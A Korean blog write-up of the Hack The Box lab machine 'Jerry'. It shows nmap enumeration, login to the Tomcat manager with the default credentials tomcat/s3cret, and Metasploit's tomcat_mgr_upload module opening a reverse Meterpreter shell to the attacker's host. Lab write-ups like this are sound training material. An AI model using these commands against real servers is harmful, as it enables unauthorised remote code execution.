티스토리 뷰

보안/Wargame

[Hackthebox] - Jerry Writeup(문제풀이)

돔돔이부하 2021. 5. 16. 00:13
728x90
반응형

🎈 개요

  • 기본적인 Target Enumeration.
  • msfconsole과 같은 자동화 된 툴 사용법.

Target Enumeration

Port scan

nmap <target IP> -A

간단하게 타겟에 열려있는 포트와 배너를 이용한 버전 정보를 획득합니다.

PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88

 

Apache Tomcat Manager UI

우선 8080포트로 접속하니, 아파치 톰캣의 기본 페이지가 보입니다. 가장 우선적으로 해본 것은 관리자 UI에 접속 해보는 것이었습니다. 아래 manager webapp 링크를 클릭해보았습니다.

 

 

링크를 누르면 아래와 같이 사용자이름과 비밀번호를 입력하라고 나옵니다.

 

 

여기서 취소를 누르면 아래와 같이 나오는데, 여기서 tomcat의 기본값 username과 password를 확인할 수 있습니다.

 

 

그리고 다시 새로운 세션으로 접속해서 위 tomcat/s3cret을 입력하여 접속하면 manager-ui가 나옵니다.

 

 

그리고 보면 파일 업로드 하는 곳이 보입니다. 이와 관련된 취약점이 존재하는 지 확인하기 위해 ExploitDB에 검색해봅니다.

 

 

Kali Linux에서는 metasploit 콘솔에서 아래와 같은 명령으로 검색해볼 수 있습니다.

# msfconsole
msfconsole > search tomcat manager

그럼 아래와 같은 결과가 나옵니다. 5번을 보면 tomcat manager upload 취약점이 존재함을 확인할 수 있습니다.

Matching Modules
================

   #  Name                                              Disclosure Date  Rank       Check  Description
   -  ----                                              ---------------  ----       -----  -----------
   0  auxiliary/admin/http/ibm_drm_download             2020-04-21       normal     Yes    IBM Data Risk Manager Arbitrary File Download
   1  auxiliary/dos/http/apache_commons_fileupload_dos  2014-02-06       normal     No     Apache Commons FileUpload and Apache Tomcat DoS
   2  auxiliary/scanner/http/tomcat_mgr_login                            normal     No     Tomcat Application Manager Login Utility
   3  exploit/multi/http/cisco_dcnm_upload_2019         2019-06-26       excellent  Yes    Cisco Data Center Network Manager Unauthenticated Remote Code Execution
   4  exploit/multi/http/tomcat_mgr_deploy              2009-11-09       excellent  Yes    Apache Tomcat Manager Application Deployer Authenticated Code Execution
   5  exploit/multi/http/tomcat_mgr_upload              2009-11-09       excellent  Yes    Apache Tomcat Manager Authenticated Upload Code Execution

 

Exploit

msfconsole> use exploit/multi/http/tomcat_mgr_upload
msfconsole> set httppassword s3cret
msfconsole> set httpusername tomcat
msfconsole> set rhosts 10.10.10.95
msfconsole> set rport 8080
msfconsole> set lhost 10.10.14.2
msfconsole exploit(multi/http/tomcat_mgr_upload) > exploit

[*] Started reverse TCP handler on 10.10.14.2:4444
[*] Retrieving session ID and CSRF token...
[*] Uploading and deploying zomR5HWAHDNuMQ...
[*] Executing zomR5HWAHDNuMQ...
[*] Sending stage (58125 bytes) to 10.10.10.95
[*] Undeploying zomR5HWAHDNuMQ ...
[*] Meterpreter session 1 opened (10.10.14.2:4444 -> 10.10.10.95:49192) at 2021-04-07 23:47:57 -0400

meterpreter > sysinfo
Computer    : JERRY
OS          : Windows Server 2012 R2 6.3 (amd64)
Meterpreter : java/windows
meterpreter > pwd
C:\\apache-tomcat-7.0.88

Tomcat Manager Upload 취약점을 이용해 Web Shell을 업로드하여 SYSTEM 권한을 장악하여 플래그를 획득할 수 있습니다.

그리고 user와 root 플래그는 C:\Users\Administrator\Desktop\flags 폴더에 존재합니다.

 

References

728x90
반응형
댓글